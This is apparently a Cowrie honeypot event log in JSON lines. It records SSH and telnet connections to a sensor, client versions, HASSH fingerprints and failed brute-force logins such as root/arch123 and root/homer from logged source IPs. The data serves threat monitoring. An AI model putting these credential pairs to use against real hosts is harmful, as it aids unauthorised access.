{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:29.015001Z","src_ip":"80.94.92.184","session":"29162714f9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:30.598264Z","src_ip":"80.94.92.184","session":"29162714f9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:31.867552Z","src_ip":"80.94.92.184","session":"29162714f9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.23315906524658,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:32.520409Z","src_ip":"192.119.13.58","session":"d387797cffe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.132.252.247","src_port":52824,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf6285ad5d89","protocol":"ssh","message":"New connection: 114.132.252.247:52824 (10.17.0.5:22) [session: bf6285ad5d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:34.650321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:34.660510Z","src_ip":"114.132.252.247","session":"bf6285ad5d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:34.895419Z","src_ip":"114.132.252.247","session":"bf6285ad5d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hwan","message":"login attempt [root/hwan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:35.863197Z","src_ip":"114.132.252.247","session":"bf6285ad5d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.545302391052246,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:36.274236Z","src_ip":"192.119.13.58","session":"4b2ac39b883b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:37.102538Z","src_ip":"114.132.252.247","session":"bf6285ad5d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43686,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c415555996","protocol":"telnet","message":"New connection: 192.119.13.58:43686 (10.17.0.5:23) [session: 66c415555996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:45.052813Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57504,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ff218609e4","protocol":"telnet","message":"New connection: 192.119.13.58:57504 (10.17.0.5:23) [session: a5ff218609e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:48.586631Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59396,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c97c2ccf80","protocol":"telnet","message":"New connection: 192.119.13.58:59396 (10.17.0.5:23) [session: 25c97c2ccf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:49.029031Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59972,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0812cbf42bd","protocol":"telnet","message":"New connection: 192.119.13.58:59972 (10.17.0.5:23) [session: a0812cbf42bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:49.205358Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":33602,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f67c1d62a1","protocol":"ssh","message":"New connection: 193.233.48.169:33602 (10.17.0.5:22) [session: e3f67c1d62a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:50.723381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:50.731570Z","src_ip":"193.233.48.169","session":"e3f67c1d62a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:50.854645Z","src_ip":"193.233.48.169","session":"e3f67c1d62a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arch123","message":"login attempt [root/arch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:51.374096Z","src_ip":"193.233.48.169","session":"e3f67c1d62a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:52.499174Z","src_ip":"193.233.48.169","session":"e3f67c1d62a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":32916,"dst_ip":"159.203.135.109","dst_port":22,"session":"06215e8b2e1a","protocol":"ssh","message":"New connection: 103.166.103.173:32916 (159.203.135.109:22) [session: 06215e8b2e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:56.255018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:56.259352Z","src_ip":"103.166.103.173","session":"06215e8b2e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:56.489662Z","src_ip":"103.166.103.173","session":"06215e8b2e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homer","message":"login attempt [root/homer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:57.444530Z","src_ip":"103.166.103.173","session":"06215e8b2e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":39088,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d58eb14121a","protocol":"ssh","message":"New connection: 43.135.129.144:39088 (159.203.135.109:22) [session: 5d58eb14121a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.419520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.424016Z","src_ip":"43.135.129.144","session":"5d58eb14121a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.497031Z","src_ip":"43.135.129.144","session":"5d58eb14121a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.677582Z","src_ip":"103.166.103.173","session":"06215e8b2e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":42142,"dst_ip":"10.17.0.5","dst_port":22,"session":"083753752ebf","protocol":"ssh","message":"New connection: 43.134.177.27:42142 (10.17.0.5:22) [session: 083753752ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.730768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.736040Z","src_ip":"43.134.177.27","session":"083753752ebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wundershorizon","message":"login attempt [root/wundershorizon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.812359Z","src_ip":"43.135.129.144","session":"5d58eb14121a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:58.983140Z","src_ip":"43.134.177.27","session":"083753752ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.67629528045654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:59.145655Z","src_ip":"192.119.13.58","session":"6e20d2460320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:30:59.884640Z","src_ip":"43.135.129.144","session":"5d58eb14121a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2038","message":"login attempt [root/2038] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:00.006530Z","src_ip":"43.134.177.27","session":"083753752ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42516,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d82bc1d039","protocol":"telnet","message":"New connection: 192.119.13.58:42516 (10.17.0.5:23) [session: b9d82bc1d039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:00.213127Z"}
{"eventid":"cowrie.session.closed","duration":44.091092348098755,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:01.097930Z","src_ip":"192.119.13.58","session":"4486f3f7b685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:01.257277Z","src_ip":"43.134.177.27","session":"083753752ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f81ddd2e83c","protocol":"telnet","message":"New connection: 192.119.13.58:50874 (10.17.0.5:23) [session: 5f81ddd2e83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:01.382213Z"}
{"eventid":"cowrie.session.closed","duration":49.65008234977722,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:02.284266Z","src_ip":"192.119.13.58","session":"98e6fd28a197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58378,"dst_ip":"10.17.0.5","dst_port":23,"session":"84515479841f","protocol":"telnet","message":"New connection: 192.119.13.58:58378 (10.17.0.5:23) [session: 84515479841f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:03.103280Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44692,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d3ff502ace","protocol":"telnet","message":"New connection: 192.119.13.58:44692 (10.17.0.5:23) [session: 90d3ff502ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:06.856332Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.63.211","src_port":7344,"dst_ip":"159.203.135.109","dst_port":22,"session":"edef1016dbe6","protocol":"ssh","message":"New connection: 41.63.63.211:7344 (159.203.135.109:22) [session: edef1016dbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:08.116629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:08.273283Z","src_ip":"41.63.63.211","session":"edef1016dbe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:08.546054Z","src_ip":"41.63.63.211","session":"edef1016dbe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":52862,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb76ffac4f8","protocol":"ssh","message":"New connection: 43.135.182.46:52862 (159.203.135.109:22) [session: 5eb76ffac4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:09.399459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:09.403890Z","src_ip":"43.135.182.46","session":"5eb76ffac4f8","protocol":"ssh"}
